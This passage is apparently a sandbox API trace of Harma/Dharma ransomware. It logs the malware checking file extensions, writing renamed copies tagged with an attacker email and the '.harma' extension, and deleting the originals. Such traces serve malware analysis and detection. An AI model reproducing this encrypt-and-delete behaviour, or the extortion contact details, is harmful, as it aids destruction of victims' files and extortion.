Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0171.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0171.187] lstrlenW (lpString=".doc") returned 4 [0171.187] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.187] lstrlenW (lpString=".docx") returned 5 [0171.187] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0171.187] lstrlenW (lpString=".pdf") returned 4 [0171.187] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.187] lstrlenW (lpString=".xls") returned 4 [0171.187] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.187] lstrlenW (lpString=".xlsx") returned 5 [0171.187] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0171.187] lstrlenW (lpString=".ppt") returned 4 [0171.187] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0171.187] lstrlenW (lpString=".zip") returned 4 [0171.187] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.187] lstrlenW (lpString=".rar") returned 4 [0171.187] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.187] lstrlenW (lpString=".bz2") returned 4 [0171.187] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.187] lstrlenW (lpString=".7z") returned 3 [0171.187] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0171.187] lstrlenW (lpString=".dbf") returned 4 [0171.187] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0171.187] lstrlenW (lpString=".1cd") returned 4 [0171.187] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0171.187] lstrlenW (lpString=".jpg") returned 4 [0171.188] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0171.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0171.188] lstrlenW (lpString=".doc") returned 4 [0171.188] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.188] lstrlenW (lpString=".docx") returned 5 [0171.188] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0171.188] lstrlenW (lpString=".pdf") returned 4 [0171.188] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.188] lstrlenW (lpString=".xls") returned 4 [0171.188] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.188] lstrlenW (lpString=".xlsx") returned 5 [0171.188] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0171.188] lstrlenW (lpString=".ppt") returned 4 [0171.188] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0171.188] lstrlenW (lpString=".zip") returned 4 [0171.188] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.188] lstrlenW (lpString=".rar") returned 4 [0171.188] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.188] lstrlenW (lpString=".bz2") returned 4 [0171.188] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.188] lstrlenW (lpString=".7z") returned 3 [0171.188] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0171.188] lstrlenW (lpString=".dbf") returned 4 [0171.188] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0171.188] lstrlenW (lpString=".1cd") returned 4 [0171.188] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0171.189] lstrlenW (lpString=".jpg") returned 4 [0171.189] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.189] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0171.189] lstrlenW (lpString="J0107300.WMF") returned 12 [0171.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0171.190] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=2460) returned 1 [0171.190] CloseHandle (hObject=0x348) returned 1 [0171.190] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf")) returned 0x20 [0171.190] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0171.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0171.208] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0171.208] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0171.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0171.210] GetLastError () returned 0x0 [0171.210] ReadFile (in: hFile=0x348, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x99c, lpOverlapped=0x0) returned 1 [0171.301] WriteFile (in: hFile=0x2e8, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x9a0, lpOverlapped=0x0) returned 1 [0171.301] ReadFile (in: hFile=0x348, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0171.301] WriteFile (in: hFile=0x2e8, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0171.302] SetEndOfFile (hFile=0x2e8) returned 1 [0171.456] CloseHandle (hObject=0x2e8) returned 1 [0171.456] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0171.456] SetEndOfFile (hFile=0x348) returned 1 [0171.458] CloseHandle (hObject=0x348) returned 1 [0171.459] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0171.467] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf")) returned 1 [0171.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0171.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0171.468] lstrlenW (lpString=".doc") returned 4 [0171.468] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.468] lstrlenW (lpString=".docx") returned 5 [0171.468] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0171.468] lstrlenW (lpString=".pdf") returned 4 [0171.468] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.468] lstrlenW (lpString=".xls") returned 4 [0171.468] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.468] lstrlenW (lpString=".xlsx") returned 5 [0171.468] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0171.468] lstrlenW (lpString=".ppt") returned 4 [0171.468] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0171.468] lstrlenW (lpString=".zip") returned 4 [0171.468] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.468] lstrlenW (lpString=".rar") returned 4 [0171.468] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.469] lstrlenW (lpString=".bz2") returned 4 [0171.469] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.469] lstrlenW (lpString=".7z") returned 3 [0171.469] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0171.469] lstrlenW (lpString=".dbf") returned 4 [0171.469] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0171.469] lstrlenW (lpString=".1cd") returned 4 [0171.469] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0171.469] lstrlenW (lpString=".jpg") returned 4 [0171.469] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0171.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0171.469] lstrlenW (lpString=".doc") returned 4 [0171.469] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.469] lstrlenW (lpString=".docx") returned 5 [0171.469] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0171.469] lstrlenW (lpString=".pdf") returned 4 [0171.469] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.469] lstrlenW (lpString=".xls") returned 4 [0171.469] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.469] lstrlenW (lpString=".xlsx") returned 5 [0171.469] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0171.469] lstrlenW (lpString=".ppt") returned 4 [0171.469] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0171.469] lstrlenW (lpString=".zip") returned 4 [0171.469] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.469] lstrlenW (lpString=".rar") returned 4 [0171.470] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.470] lstrlenW (lpString=".bz2") returned 4 [0171.470] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.470] lstrlenW (lpString=".7z") returned 3 [0171.470] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0171.470] lstrlenW (lpString=".dbf") returned 4 [0171.470] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0171.470] lstrlenW (lpString=".1cd") returned 4 [0171.470] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0171.470] lstrlenW (lpString=".jpg") returned 4 [0171.470] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.470] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0171.470] lstrlenW (lpString="J0107316.WMF") returned 12 [0171.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0171.471] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=11288) returned 1 [0171.471] CloseHandle (hObject=0x3a4) returned 1 [0171.471] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf")) returned 0x20 [0171.471] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0171.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0171.472] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0171.472] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0171.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0171.473] GetLastError () returned 0x0 [0171.473] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x2c18, lpOverlapped=0x0) returned 1 [0172.055] WriteFile (in: hFile=0x218, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x2c20, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x2c20, lpOverlapped=0x0) returned 1 [0174.381] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0174.381] WriteFile (in: hFile=0x218, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0174.381] SetEndOfFile (hFile=0x218) returned 1 [0174.382] CloseHandle (hObject=0x218) returned 1 [0174.382] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.382] SetEndOfFile (hFile=0x3a4) returned 1 [0174.384] CloseHandle (hObject=0x3a4) returned 1 [0174.384] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0174.385] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf")) returned 1 [0174.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0174.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0174.386] lstrlenW (lpString=".doc") returned 4 [0174.386] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.386] lstrlenW (lpString=".docx") returned 5 [0174.386] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0174.386] lstrlenW (lpString=".pdf") returned 4 [0174.386] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.386] lstrlenW (lpString=".xls") returned 4 [0174.386] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.386] lstrlenW (lpString=".xlsx") returned 5 [0174.386] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0174.386] lstrlenW (lpString=".ppt") returned 4 [0174.386] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0174.386] lstrlenW (lpString=".zip") returned 4 [0174.386] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.386] lstrlenW (lpString=".rar") returned 4 [0174.386] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.386] lstrlenW (lpString=".bz2") returned 4 [0174.386] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.386] lstrlenW (lpString=".7z") returned 3 [0174.386] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0174.386] lstrlenW (lpString=".dbf") returned 4 [0174.386] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0174.386] lstrlenW (lpString=".1cd") returned 4 [0174.386] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0174.387] lstrlenW (lpString=".jpg") returned 4 [0174.387] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0174.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0174.387] lstrlenW (lpString=".doc") returned 4 [0174.387] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.387] lstrlenW (lpString=".docx") returned 5 [0174.387] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0174.387] lstrlenW (lpString=".pdf") returned 4 [0174.387] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.387] lstrlenW (lpString=".xls") returned 4 [0174.387] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.387] lstrlenW (lpString=".xlsx") returned 5 [0174.387] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0174.387] lstrlenW (lpString=".ppt") returned 4 [0174.387] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0174.387] lstrlenW (lpString=".zip") returned 4 [0174.387] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.387] lstrlenW (lpString=".rar") returned 4 [0174.387] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.387] lstrlenW (lpString=".bz2") returned 4 [0174.387] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.387] lstrlenW (lpString=".7z") returned 3 [0174.387] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0174.387] lstrlenW (lpString=".dbf") returned 4 [0174.387] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0174.387] lstrlenW (lpString=".1cd") returned 4 [0174.387] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0174.388] lstrlenW (lpString=".jpg") returned 4 [0174.388] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.388] lstrlenW (lpString=".id-") returned 4 [0174.388] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3514a0 | out: hHeap=0x300000) returned 1 [0174.388] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bef48 | out: hHeap=0x300000) returned 1 [0174.388] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e2048 | out: hHeap=0x300000) returned 1 [0174.389] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a00048 | out: hHeap=0x300000) returned 1 [0174.389] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b00020 | out: hHeap=0x300000) returned 1 [0174.394] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x351488 | out: hHeap=0x300000) returned 1 [0174.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x351488 [0174.394] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x351488, Size=0x20) returned 0x41d2290 [0174.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x351488 [0174.394] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x351488, Size=0x20) returned 0x41d21c8 [0174.394] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0174.394] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0174.394] Wow64DisableWow64FsRedirection (in: OldValue=0x2ebff58 | out: OldValue=0x2ebff58*=0x1) returned 1 [0174.394] lstrlenW (lpString="kernel32.dll") returned 12 [0174.394] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41d21c8 | out: hHeap=0x300000) returned 1 [0174.395] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0174.395] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41d2290 | out: hHeap=0x300000) returned 1 Thread: id = 56 os_tid = 0x6e0 [0132.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10000) returned 0x3a10260 [0132.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10000) returned 0x3a20268 [0132.157] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x3514b8 [0132.157] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6) returned 0x3bef58 [0132.157] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x3514d0 [0132.157] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x100000) returned 0x3c10020 [0132.157] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x3514e8 [0132.157] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x3514e8, Size=0x20) returned 0x3c0d10 [0132.157] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x3514e8 [0132.157] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x3514e8, Size=0x20) returned 0x3c0d38 [0132.158] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0132.158] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0132.158] Wow64DisableWow64FsRedirection (in: OldValue=0x2ffff58 | out: OldValue=0x2ffff58*=0x0) returned 1 [0132.158] lstrlenW (lpString="kernel32.dll") returned 12 [0132.158] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c0d10 | out: hHeap=0x300000) returned 1 [0132.158] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0132.158] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c0d38 | out: hHeap=0x300000) returned 1 [0132.158] Sleep (dwMilliseconds=0x64) [0132.480] Sleep (dwMilliseconds=0x64) [0132.713] Sleep (dwMilliseconds=0x64) [0132.928] lstrcmpiW (lpString1=".avi", lpString2=".harma") returned -1 [0132.928] lstrlenW (lpString="boxed-delete.avi") returned 16 [0132.928] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0133.451] GetFileSizeEx (in: hFile=0x2a8, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=31744) returned 1 [0133.451] CloseHandle (hObject=0x2a8) returned 1 [0133.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0133.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0133.451] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, 